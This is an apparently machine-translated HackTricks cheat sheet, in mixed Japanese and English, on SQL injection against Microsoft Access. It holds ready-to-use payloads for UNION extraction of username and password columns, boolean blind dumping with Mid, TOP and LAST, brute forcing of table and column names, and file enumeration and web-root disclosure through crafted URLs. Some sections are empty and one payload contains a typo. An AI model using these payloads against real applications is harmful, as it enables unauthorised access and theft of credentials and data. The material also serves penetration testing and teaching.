11 KiB
MS Access SQL Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Online Playground
DB Limitations
String Concatenation
文字列の連結は & (%26)
および + (%2b)
文字を使用して可能です。
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
コメント
MS Accessにはコメントがありませんが、NULL文字を使ってクエリの最後を削除することが可能なようです:
1' union select 1,2 from table%00
この方法がうまくいかない場合は、クエリの構文を修正することができます:
1' UNION SELECT 1,2 FROM table WHERE ''='
スタッククエリ
サポートされていません。
LIMIT
LIMIT
演算子は 実装されていません。ただし、TOP
演算子を使用して最初の N テーブル行に SELECT クエリの結果を制限することは可能です。TOP
は、返される行数を表す整数を引数として受け取ります。
1' UNION SELECT TOP 3 attr FROM table%00
Just like TOP you can use LAST
which will get the rows from the end.
UNION クエリ/サブクエリ
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、サブクエリや追加のクエリではFROM
を指定する必要があります。
したがって、UNION SELECT
やUNION ALL SELECT
、または条件内の括弧の中のSELECT
を実行したい場合は、常に有効なテーブル名を持つFROM
を指定する必要があります。
そのため、有効なテーブル名を知っておく必要があります。
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
{% hint style="warning" %} これにより、テーブルの名前を知らなくても現在のテーブルの値を抽出することができます。 {% endhint %}
MS Access は 奇妙な構文 を許可します、例えば '1'=2='3'='asd'=false
。通常、SQLインジェクションは WHERE
句の中にあるため、それを悪用できます。
MS AccessデータベースにSQLiがあり、1つの カラム名がusername であることを知っている(または推測している)とします。そして、それが抽出したいフィールドです。チェイニングイコール技術を使用したときのWebアプリの異なる応答を確認し、Mid
関数を使用して部分文字列を取得することで、ブールインジェクション を使用してコンテンツを抽出する可能性があります。
'=(Mid(username,1,3)='adm')='
もしテーブルの名前とカラムをダンプすることがわかっていれば、Mid
、LAST
、およびTOP
の組み合わせを使用して、ブールSQLiを介してすべての情報を漏洩させることができます:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
テーブル名のブルートフォース
チェイニングイコール技術を使用すると、次のようにテーブル名をブルートフォースすることもできます:
'=(select+top+1+'lala'+from+<table_name>)='
従来の方法を使用することもできます:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmapの一般的なテーブル名: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- 別のリストはhttp://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.htmlにあります。
カラム名のブルートフォース
現在のカラム名をブルートフォースするには、次のように等号トリックを使用できます:
'=column_name='
または group by を使用して:
-1' GROUP BY column_name%00
または、別のテーブルの列名をブルートフォースすることができます:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
データのダンプ
現在および他のテーブルからデータをダンプするためのチェイニングイコールテクニックについてはすでに説明しました。しかし、他にも方法があります:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
要約すると、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、そうでない場合は「500 Internal Error」をトリガーします。TOP 10 演算子を利用することで、最初の10件の結果を選択できます。その後、LASTを使用することで、10番目のタプルのみを考慮できます。その値に対して、MID演算子を使用することで、単純な文字比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプできます。
時間ベース
その他の興味深い関数
Mid('admin',1,1)
位置1から長さ1の部分文字列を取得(初期位置は1)LEN('1234')
文字列の長さを取得ASC('A')
文字のASCII値を取得CHR(65)
ASCII値から文字列を取得IIF(1=1,'a','b')
if thenCOUNT(*)
アイテムの数をカウント
テーブルの列挙
こちらから、テーブル名を取得するためのクエリを見ることができます:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
しかし、MSysObjects
テーブルを読み取るアクセス権がない場合に SQL インジェクションを見つけることは非常に一般的であることに注意してください。
ファイルシステムアクセス
ウェブルートディレクトリのフルパス
ウェブルートの絶対パスの知識はさらなる攻撃を容易にする可能性があります。アプリケーションエラーが完全に隠蔽されていない場合、存在しないデータベースからデータを選択しようとすることでディレクトリパスが明らかになることがあります。
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access は ウェブディレクトリのフルパスを含むエラーメッセージ で応答します。
ファイル列挙
次の攻撃ベクターは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
ファイルを列挙する別の方法は、データベース.テーブル項目を指定することです。指定されたファイルが存在する場合、MS Access は データベース形式エラーメッセージ を表示します。
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb ファイル名の推測
データベースファイル名 (.mdb) は、次のクエリで推測できます:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
ここで、name[i] は .mdb ファイル名 であり、realTable はデータベース内の存在するテーブル です。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することが可能です。
.mdb パスワードクラッカー
Access PassView は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 の主なデータベースパスワードを回復するために使用できる無料のユーティリティです。
参考文献
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.